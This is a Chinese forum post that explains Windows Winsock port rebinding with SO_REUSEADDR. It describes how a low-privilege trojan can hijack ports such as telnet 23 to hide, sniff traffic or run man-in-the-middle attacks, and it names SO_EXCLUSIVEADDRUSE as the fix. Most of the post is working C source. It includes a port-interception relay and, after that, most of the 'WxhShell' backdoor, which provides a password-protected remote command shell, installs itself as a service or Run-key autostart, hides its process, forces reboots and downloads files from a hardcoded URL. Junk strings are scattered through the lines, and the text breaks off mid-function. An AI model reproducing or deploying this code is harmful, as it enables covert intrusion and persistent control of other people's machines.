社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 11313阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: rcOpOoU|  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); lVARe3#  
2:&8FdU  
  saddr.sin_family = AF_INET; i8Yl1nF  
}8fxCW*|  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); N@58R9P<p  
3!Rb {  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); &s\$&%|  
#fzvK+  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 !b7]n-1zs  
` {k>I^Pg  
  这意味着什么?意味着可以进行如下的攻击: D3HE~zkI  
"z=A=~~<{  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 [o*u!2 r  
D$YAi%*H  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) HC?yodp^  
d3&gHt2  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 |t4k&Dkx`  
~i fq_Ag.  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  &!N5}N&  
r*0a43mC1  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 U@ALo  
(|bMtT?"x  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 }rn}r4_a  
?*9U d  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。  aVz<RS  
w4:n(.;HK  
  #include 67<zBw2  
  #include 4)]g=-3  
  #include 8rGW G  
  #include    ^h1VCyoR*  
  DWORD WINAPI ClientThread(LPVOID lpParam);   #fk)Y1  
  int main() / h0-qW  
  { ie 2X.#  
  WORD wVersionRequested; ^ B=x-G.  
  DWORD ret; v"F.<Q  
  WSADATA wsaData; h<Yn0(.  
  BOOL val; &oWWc$  
  SOCKADDR_IN saddr; Hm-+1Wx  
  SOCKADDR_IN scaddr; })M$#%(  
  int err; |n}W^}S5  
  SOCKET s; mkk74NY  
  SOCKET sc; c1jHg2xim  
  int caddsize; }2:bYpYQ  
  HANDLE mt; ?\<2*sW [k  
  DWORD tid;   GH7{_@pv8  
  wVersionRequested = MAKEWORD( 2, 2 ); P9B@2#  
  err = WSAStartup( wVersionRequested, &wsaData ); Bag2sk  
  if ( err != 0 ) { e%R+IH5i  
  printf("error!WSAStartup failed!\n"); SV<*qz  
  return -1; hIXGfvUy  
  } QTz{ZNi!  
  saddr.sin_family = AF_INET; #h6(DuViKw  
   ;}A#ws_CD_  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 .sbU-_ij@U  
9(|[okB  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); kZU8s'C  
  saddr.sin_port = htons(23); tmRD$O%:  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %,K|v  
  { V~Tjz%<  
  printf("error!socket failed!\n"); :0CR=]WM  
  return -1; R`76Ae`R8  
  } d;m Q=k 1  
  val = TRUE; Dr6Br<yi  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 c~5#)AXMT  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Eh!%Ne O  
  { AU^Wy|i5Q  
  printf("error!setsockopt failed!\n"); umcbIi('  
  return -1; $- =aqUU  
  } HoH3.AY X  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; )_GM&-  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ]WWre},  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 !Ya +  
c5;YKON  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) cuq7eMG6z  
  { i_`YZ7Hxp  
  ret=GetLastError(); DECX18D  
  printf("error!bind failed!\n"); Wq<>a;m  
  return -1; }ebw1G  
  } %b\xRt[0v7  
  listen(s,2); M0=ZAsN  
  while(1) &I'~:nWpt  
  { g#9w5Q  
  caddsize = sizeof(scaddr); pqMv YF  
  //接受连接请求 nI2}E  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ^nbze  
  if(sc!=INVALID_SOCKET) s.=)p"pTd  
  { Kzo{L  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); v 0rX/ mj  
  if(mt==NULL) k{c~  
  { 9'8OGCN  
  printf("Thread Creat Failed!\n"); 0a8nBo7A-X  
  break; ^ b-H  
  } {@Diig  
  } :]y;t/   
  CloseHandle(mt); ,=$yvZs4[]  
  } _\@i&3hkx  
  closesocket(s); &U4]hawbOU  
  WSACleanup(); <Cg;l<$`b  
  return 0; ]DmqhK`  
  }   ?aOR ^ K  
  DWORD WINAPI ClientThread(LPVOID lpParam) + {a  
  { ;jX_e(T3m  
  SOCKET ss = (SOCKET)lpParam; =!#D UfQf  
  SOCKET sc; aI8wy-3I  
  unsigned char buf[4096]; ,yV pB)IQ  
  SOCKADDR_IN saddr; oYJ&BPuA'  
  long num; |i|YlWQS  
  DWORD val; ?#04x70  
  DWORD ret; T?AGQcG  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Y1`.  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   P2`ks[u+i  
  saddr.sin_family = AF_INET;  %ef+Z  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Q.z2 (&  
  saddr.sin_port = htons(23); }[LK/@h  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3qpk Mu3  
  { _JR4 PKtx  
  printf("error!socket failed!\n"); OQ+?nB  
  return -1; 2i,Jnv=sR  
  } =_^g]?5i  
  val = 100; ik8e  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) et9 c<'  
  { hp,T(D|  
  ret = GetLastError(); HoRLy*nU  
  return -1; 2mU}"gf[  
  } _x UhDu%  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]"/ *7NM  
  { (/k,q  
  ret = GetLastError(); (]7@0d88  
  return -1; X\1D[n:  
  } ngm7Vs  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) B2845~\.  
  { |I OTW=>  
  printf("error!socket connect failed!\n"); ,ypxy/  
  closesocket(sc); ulj`+D?H  
  closesocket(ss); ^1*p]j(  
  return -1; V{d"cs>9  
  } ~-W.yg6D{  
  while(1) m.V mS7_I  
  { l_,8_u7G  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 P92:}" )*>  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 g^0  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 )s6tj lf8  
  num = recv(ss,buf,4096,0); ;P2~cQjD;  
  if(num>0) f_Wn[I{  
  send(sc,buf,num,0); !^8'LMY<I  
  else if(num==0) #e8CuS  
  break; KpwUp5K  
  num = recv(sc,buf,4096,0); ?[m5|ty#  
  if(num>0) Ei}DA=:s  
  send(ss,buf,num,0); ?|s[/zPS=  
  else if(num==0) vm4]KEyrX  
  break; {<kl)}  
  } HH+rib'u  
  closesocket(ss); xPb`CY7  
  closesocket(sc); w~Y#[GW  
  return 0 ; ^' [|  
  } Q7}w Y  
X0!48fL*  
;nh7Elk  
========================================================== rzl2Oj"4  
OmoY] 8N}  
下边附上一个代码,,WXhSHELL Q'A->I<;_s  
(1Kh9w:^"  
========================================================== n"dT^ g  
V).M\  
#include "stdafx.h" PMrvUM62  
ko, u  
#include <stdio.h> v WhtClJ3  
#include <string.h> D~mGv1t"  
#include <windows.h> 4cV(Z-\  
#include <winsock2.h> mS%D" e  
#include <winsvc.h> ")sq?1?X  
#include <urlmon.h> ^ )+tn  
/ 5=A#G  
#pragma comment (lib, "Ws2_32.lib") ~V./*CQ\c  
#pragma comment (lib, "urlmon.lib") .5I1wRN49  
L1D%vu`  
#define MAX_USER   100 // 最大客户端连接数 lT(MywNsg  
#define BUF_SOCK   200 // sock buffer 9]7^/g*!  
#define KEY_BUFF   255 // 输入 buffer vkt)!hl `  
-7pZRnv  
#define REBOOT     0   // 重启 l[.pI];T  
#define SHUTDOWN   1   // 关机 T 7 h C]R  
F`3 8sq  
#define DEF_PORT   5000 // 监听端口 dvXu?F55  
#MBYa&Tw7  
#define REG_LEN     16   // 注册表键长度 #[i({1`^L  
#define SVC_LEN     80   // NT服务名长度 xknP `T  
/\=g;o'  
// 从dll定义API _Y~+ #Vc  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7M$>'PfO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); sXfx[)T<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;ga~ae=Fg  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Z+vLEEX*uQ  
4)"jg[  
// wxhshell配置信息 8<g5.$xyz  
struct WSCFG { #cmj?y()  
  int ws_port;         // 监听端口 : 0%V:B  
  char ws_passstr[REG_LEN]; // 口令 ( E0be.  
  int ws_autoins;       // 安装标记, 1=yes 0=no k@wxN!w;  
  char ws_regname[REG_LEN]; // 注册表键名 y\@XW*_?  
  char ws_svcname[REG_LEN]; // 服务名 0<P -`|X  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 R"82=">v  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Q}m)Q('Rk  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K}wUM^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no A46y?"]/30  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" k|g~xmI;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Tlf G"HzZ%  
R_ Z H+@O  
}; N}^\$sVu_  
G,$jU9 f  
// default Wxhshell configuration C"YM"9JSJ  
struct WSCFG wscfg={DEF_PORT, .IG(Y!cB  
    "xuhuanlingzhe", "4ovMan  
    1, ^WVr@6  
    "Wxhshell", |#MA?oz3T  
    "Wxhshell", q'1rSK  
            "WxhShell Service", EmH2 Dbw  
    "Wrsky Windows CmdShell Service", un..UU4  
    "Please Input Your Password: ", W/&cnp\  
  1, H(""So7L  
  "http://www.wrsky.com/wxhshell.exe", .=K@M"5&  
  "Wxhshell.exe" (A ?e}M^}  
    }; T$RZRZo  
u/``*=Y@  
// 消息定义模块 hB|LW^@v  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5$jKw\FF=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; O@EpRg1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; % +eZ U)N  
char *msg_ws_ext="\n\rExit."; cl{;%4$9  
char *msg_ws_end="\n\rQuit."; )TP7gLv=b  
char *msg_ws_boot="\n\rReboot..."; +=:CW'B5  
char *msg_ws_poff="\n\rShutdown..."; A3h[VnuG,  
char *msg_ws_down="\n\rSave to "; 3g} ]nj:N  
}9@ ,EEhg  
char *msg_ws_err="\n\rErr!"; }t]CDa_n  
char *msg_ws_ok="\n\rOK!"; s K s D  
/<M08ze  
char ExeFile[MAX_PATH]; QDyL0l{C  
int nUser = 0; nC2A&n&>  
HANDLE handles[MAX_USER]; :}j{NM#  
int OsIsNt; IF@)L>-%  
U*,5t81  
SERVICE_STATUS       serviceStatus; $%sOL( r  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]X{LZYk  
]3C7guWz  
// 函数声明 hPH= .rX  
int Install(void); UX(#C,qgG  
int Uninstall(void); 9r8*'.K`Z  
int DownloadFile(char *sURL, SOCKET wsh); 3;#v$F8R  
int Boot(int flag); A-4\;[P\  
void HideProc(void); lB3W|-Ci  
int GetOsVer(void); LiiQ;x  
int Wxhshell(SOCKET wsl); q(_pk&/  
void TalkWithClient(void *cs); 4WDh8U  
int CmdShell(SOCKET sock); nV GrW#'E  
int StartFromService(void); KLlW\MF1  
int StartWxhshell(LPSTR lpCmdLine); *qGxQ?/  
-Vw,9VCF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,GGr@})  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?!8M I,c/  
r1xN U0A  
// 数据结构和表定义 mmEr2\L  
SERVICE_TABLE_ENTRY DispatchTable[] = Xb3z<r   
{ @)|62Dv /  
{wscfg.ws_svcname, NTServiceMain}, b`fPP{mG  
{NULL, NULL} X> =`{JS1  
}; vt@.fT#e  
: xB<Rq  
// 自我安装 /J8y[aa  
int Install(void) 0Ocy$  
{ t%V!SvT8+  
  char svExeFile[MAX_PATH]; 8`kK)iCq  
  HKEY key; Mb uD8B  
  strcpy(svExeFile,ExeFile); XeKIue@_  
0vt?yD  
// 如果是win9x系统,修改注册表设为自启动 R/xeC [r  
if(!OsIsNt) { %fo+Y+t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U,~\}$<I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gI<TfcC  
  RegCloseKey(key); 5fA<I _ D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ztr,v$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Kbrb;r59  
  RegCloseKey(key); @|idlIey  
  return 0; {-09,Q4[&  
    } Bc`jkO.q  
  } z*"zXL C  
} 5iwJdm  
else { L "P$LEk  
SBg BZm}%  
// 如果是NT以上系统,安装为系统服务 V*2uW2\}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); D:/^TEib  
if (schSCManager!=0) VkZrb2]v  
{ >/Gz*.  
  SC_HANDLE schService = CreateService 8lg $]  
  ( Zchs/C 9{  
  schSCManager, 2X!O '  
  wscfg.ws_svcname, &2d^=fih  
  wscfg.ws_svcdisp, K}L-$B*i  
  SERVICE_ALL_ACCESS, bb`GV  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , I>B-[QEC  
  SERVICE_AUTO_START, 4U*J{''L  
  SERVICE_ERROR_NORMAL, 2I* 7?`  
  svExeFile, Q &<:W4N*  
  NULL, 540-lMe  
  NULL, J 6D?$  
  NULL, D4$;jz,,  
  NULL, wKIQK!B)mF  
  NULL =c"`>Vi@d  
  ); ba^B$$?Bo  
  if (schService!=0) yIC8Rl  
  { vT#zc)j  
  CloseServiceHandle(schService); Ep>3%{V  
  CloseServiceHandle(schSCManager); ~k'KS 7c  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]v{f!r=}  
  strcat(svExeFile,wscfg.ws_svcname); ;!v2kVuS]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { D pI)qg#>V  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); n*D-01v YP  
  RegCloseKey(key); XXBN Nr_CK  
  return 0; ) wtVFG  
    } >7[. {Y  
  } 3Un q 9  
  CloseServiceHandle(schSCManager); n,q+EZd  
} y0k*iS e  
} 4C\>JGZvq  
PGF=q|j9K  
return 1; * 7u~`  
} O0`sg90,C  
rlEEf/m:  
// 自我卸载 OX d617  
int Uninstall(void) B2w\  
{ .'k]]2%ILp  
  HKEY key; `xMmo8u4  
@KfFt R-;  
if(!OsIsNt) { =ZR9zL=h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =Yg36J4[  
  RegDeleteValue(key,wscfg.ws_regname); eK PxSN Z  
  RegCloseKey(key); z-$bce9*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j6]+ fo&3  
  RegDeleteValue(key,wscfg.ws_regname); +P:xB0Tm D  
  RegCloseKey(key); YBqu7&  
  return 0; uLX5khQ  
  } T[]2]K[&B  
} e33j&:O  
} >qk[/\^O  
else { [@fw9@_'  
,:Qy%k}f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); GVhO}m  
if (schSCManager!=0) h U\)CM  
{ +LuGjDn0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); EhL 8rR  
  if (schService!=0) ofH=h  
  { ^m8T$^z>  
  if(DeleteService(schService)!=0) { :iqFC >D  
  CloseServiceHandle(schService); &7"a.&*9xX  
  CloseServiceHandle(schSCManager); yr?*{;  
  return 0; a+sHW<QeS  
  } 3omFd#EP  
  CloseServiceHandle(schService); " uf*?m3  
  } dfl| 6R  
  CloseServiceHandle(schSCManager); S<HR6Xw  
} o=@ 0Bd8  
} =oQw?,eY  
+y'V  
return 1; ^PA >t$  
} ?0 93'lA  
c@;$6WSG^  
// 从指定url下载文件 r!:W-Y%&#  
int DownloadFile(char *sURL, SOCKET wsh) 8|*#r[x  
{ Z^5j.d{e$  
  HRESULT hr; HxCq6Y_m<  
char seps[]= "/"; G8b/eWtP  
char *token; 5mxHOtvtWM  
char *file; /J!C2  
char myURL[MAX_PATH]; IA_>x9 (~  
char myFILE[MAX_PATH]; 6$c,#%Jt*  
V; 0{o  
strcpy(myURL,sURL); aV"K%#N  
  token=strtok(myURL,seps); ^PA[fL"  
  while(token!=NULL) o>*vG  
  { .#0),JJZ[  
    file=token; 9 f$S4O5  
  token=strtok(NULL,seps); 8fA9yQ 8  
  } oE@{h$=  
tgoOzk^  
GetCurrentDirectory(MAX_PATH,myFILE); v0hr~1  
strcat(myFILE, "\\"); 64xq@_+  
strcat(myFILE, file); =+;1^sZ  
  send(wsh,myFILE,strlen(myFILE),0); ^T*^L=L_(  
send(wsh,"...",3,0); x}Qet4vV  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); dJID '2a  
  if(hr==S_OK) ;]YQ WK  
return 0; F[m"eEX  
else  o"J>MAD  
return 1; juOOD   
0s)B~  
} i\hH .7G1  
nn>< k"  
// 系统电源模块 R-nC+)^  
int Boot(int flag) uMOm<kn  
{ %SORs(4  
  HANDLE hToken; 7 +A-S9P)  
  TOKEN_PRIVILEGES tkp; )P4#P2  
{.F``2  
  if(OsIsNt) { D~_|`D5WK  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `s74g0h  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); kB_uU !G  
    tkp.PrivilegeCount = 1; 5c6CH k`:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; gNk x]bm  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Y^5X>  
if(flag==REBOOT) { obWBX'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) " a;z  
  return 0; St/<\Y,wr  
} {6MLbL{  
else { /?X1>A:*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _|%pe]St  
  return 0; bDd$79@m  
} Q)N$h07R  
  } :()(P9?  
  else { pcw!e_"+  
if(flag==REBOOT) { mw}obblR  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) JHpoW}7QB  
  return 0; pL`snVz  
} ONQp-$  
else { KI(9TI *  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) xR+=F1y  
  return 0; f:iK5g  
} !M:m(6E1  
} *]G&pmMs  
!1<x@%  
return 1; E.W7`zl  
} tV2SX7N  
o?A/  
// win9x进程隐藏模块 5wXe^G  
void HideProc(void) t6 :;0[j  
{ {m5tgVi&  
W"9iFj X  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); N{n}]Js1D-  
  if ( hKernel != NULL ) 6_/oVvd  
  { '>FJk`iI  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); H8 yc<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); KLBV(`MS  
    FreeLibrary(hKernel); -,j J{Y~  
  } .XM3oIaW  
rN#ydw:9  
return; lh`inAt)"  
} A(AyLxB47*  
n0:+D R  
// 获取操作系统版本 Zrfp4SlZZ  
int GetOsVer(void) $ hB;r  
{ 2 =tPxO')B  
  OSVERSIONINFO winfo; Cnf;5/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2D-ogSIo  
  GetVersionEx(&winfo); qg#WDx /  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @'[w7HsJ  
  return 1; QI>yi&t  
  else QC>I<j& `!  
  return 0; CaNZScnZ  
} E&0A W{  
: 4$Ex2  
// 客户端句柄模块 uF5d ]{Qt  
int Wxhshell(SOCKET wsl) &rj6<b1A  
{ Ne/jvWWN  
  SOCKET wsh; /:dVW" A|  
  struct sockaddr_in client; G 8|[.n  
  DWORD myID; AG) N^yd  
[:$j<}UmB  
  while(nUser<MAX_USER) /b@0HL?  
{ >K#Z]k  
  int nSize=sizeof(client); Vja' :i  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); FVLXq0<Cj  
  if(wsh==INVALID_SOCKET) return 1; L]0+ u\(  
IDBhhv3ak  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +AyQ4Q(-o  
if(handles[nUser]==0) xMg&>}5  
  closesocket(wsh); Y%qhgzz?/  
else C|"T!1MlY4  
  nUser++; f ;|[  
  } Y">tfLIL_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |w[}\#2  
D+rDgrv  
  return 0; [a;lYsOsJ  
} #Q6wv/"Ub  
S6}_Z  
// 关闭 socket d T/*O8  
void CloseIt(SOCKET wsh) &nn!{S^  
{ ,: w~-   
closesocket(wsh); ,IuO;UV#)  
nUser--; YkPz ~;  
ExitThread(0); Y'/`?CK  
} x[nv+n ,  
[.<nt:  
// 客户端请求句柄 $Z 10Zf=  
void TalkWithClient(void *cs) `6j?2plZ  
{ U._ U!U  
M@!Gk  
  SOCKET wsh=(SOCKET)cs; ]Ke|wRQD  
  char pwd[SVC_LEN]; k}>l+_*+7  
  char cmd[KEY_BUFF]; 05*_h0}  
char chr[1]; vJ GxD\h  
int i,j; v Xio1hu  
M; zRf3S  
  while (nUser < MAX_USER) { I>/`W  
3D\.S j%  
if(wscfg.ws_passstr) { 9YHSL[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SfJ/(q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k;zb q  
  //ZeroMemory(pwd,KEY_BUFF); 0x# 6L  
      i=0; F)e*w:D  
  while(i<SVC_LEN) { "+nURdicO  
l=9 &  
  // 设置超时 !dhZs?/UI  
  fd_set FdRead; 9 K$F.{cx  
  struct timeval TimeOut; *-+~H1tP  
  FD_ZERO(&FdRead); pzU">)  
  FD_SET(wsh,&FdRead); .j88=t0  
  TimeOut.tv_sec=8; 9ciL<'H\  
  TimeOut.tv_usec=0; TOMvJ>bF  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); g/z9bOgIX  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); e/;Ui  
Kox~k?JK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yF0,}  
  pwd=chr[0]; Z+t?ah00  
  if(chr[0]==0xd || chr[0]==0xa) { c'`7p/l.  
  pwd=0; /UyW&]nK  
  break; w0/W=!_  
  } l$m^{6IYc  
  i++; Zy*}C,Z  
    } 3{MIBMA  
e@]cI/j  
  // 如果是非法用户,关闭 socket oE)c8rE  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); oK5(,8 (4  
} 8GlH)J+kq  
Rz=]KeZu  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); D{BH~IM  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4Hzbb#  
^D4b\mF  
while(1) { =Bo0Oei  
&KR@2~vE  
  ZeroMemory(cmd,KEY_BUFF); 3pDZ}{ZZU  
CQ,r*VAw  
      // 自动支持客户端 telnet标准   L$jyeFB5  
  j=0; ;SC|VcbyH  
  while(j<KEY_BUFF) { DvOg|XUU0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 't)j  
  cmd[j]=chr[0]; fE7WLV2I>  
  if(chr[0]==0xa || chr[0]==0xd) { 8-?n<h%8E  
  cmd[j]=0; dJ24J+9}]j  
  break; ixKQh};5/  
  } kIW Q`)'  
  j++; M!X@-t#  
    } fI$, ?>  
|?8CV\D!  
  // 下载文件 g X(QRQ  
  if(strstr(cmd,"http://")) { v?LJ_>hw*T  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }_?7k0EZ@  
  if(DownloadFile(cmd,wsh)) BMX x(W]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &OzJ^G\o  
  else =Fj : #s  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z%g<&Cq  
  } C i*TX  
  else { ["L?t ^*G  
R*yB);p  
    switch(cmd[0]) { cuKgO{.GH  
  $^ >n@Q@&L  
  // 帮助 V;:A&  
  case '?': { 9h0|^ttF  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); > %Y#(_~a  
    break; nQ~q -=,L  
  } ;F0A\5I  
  // 安装 .FMF0r>l  
  case 'i': { D1g1"^~g  
    if(Install()) / TJTu_#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \'p7,F{:>5  
    else T2(+HI2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]iNSa{G  
    break; v#/,,)m  
    } uPo>?hpq+  
  // 卸载 \uPT-M*  
  case 'r': { 6|jE3rHw  
    if(Uninstall()) 3 t_5Xacj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X*Q7Yu  
    else #F{|G:\@[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A|a\pL`@  
    break; 3=K-+dhk|t  
    } Ys3C'Gc  
  // 显示 wxhshell 所在路径 G: &Q)_  
  case 'p': { DHJnz>bE  
    char svExeFile[MAX_PATH]; _|Dt6  
    strcpy(svExeFile,"\n\r"); EwOTG Y{0p  
      strcat(svExeFile,ExeFile); ~ ZDdzp>  
        send(wsh,svExeFile,strlen(svExeFile),0); tllg$CQ5  
    break; b~~}(^Bg  
    } 0WPxzmY  
  // 重启 4OIN@n*4  
  case 'b': { 8'quQCx*=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7SM/bJ-M#  
    if(Boot(REBOOT)) Uis P 8/k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X>B/DT  
    else { Ebk@x=E  
    closesocket(wsh); pucHB<R@bL  
